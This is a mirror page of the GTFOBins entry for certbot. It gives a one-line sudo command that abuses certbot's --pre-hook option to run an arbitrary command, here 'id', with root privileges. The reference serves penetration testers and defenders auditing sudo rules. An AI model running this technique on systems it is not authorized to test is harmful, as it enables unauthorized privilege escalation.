This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-14 03:11:33 +01:00
Code
Issues
160e8d5dcd
GTFOBins.github.io
/
_gtfobins
/
certbot.md
Emanuel Duss
160e8d5dcd
New: certbot
2021-04-03 12:04:09 +02:00
452 B
Raw
Blame
History
functions
sudo
description
code
A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
COMMAND='id' TF=$(mktemp -d) sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"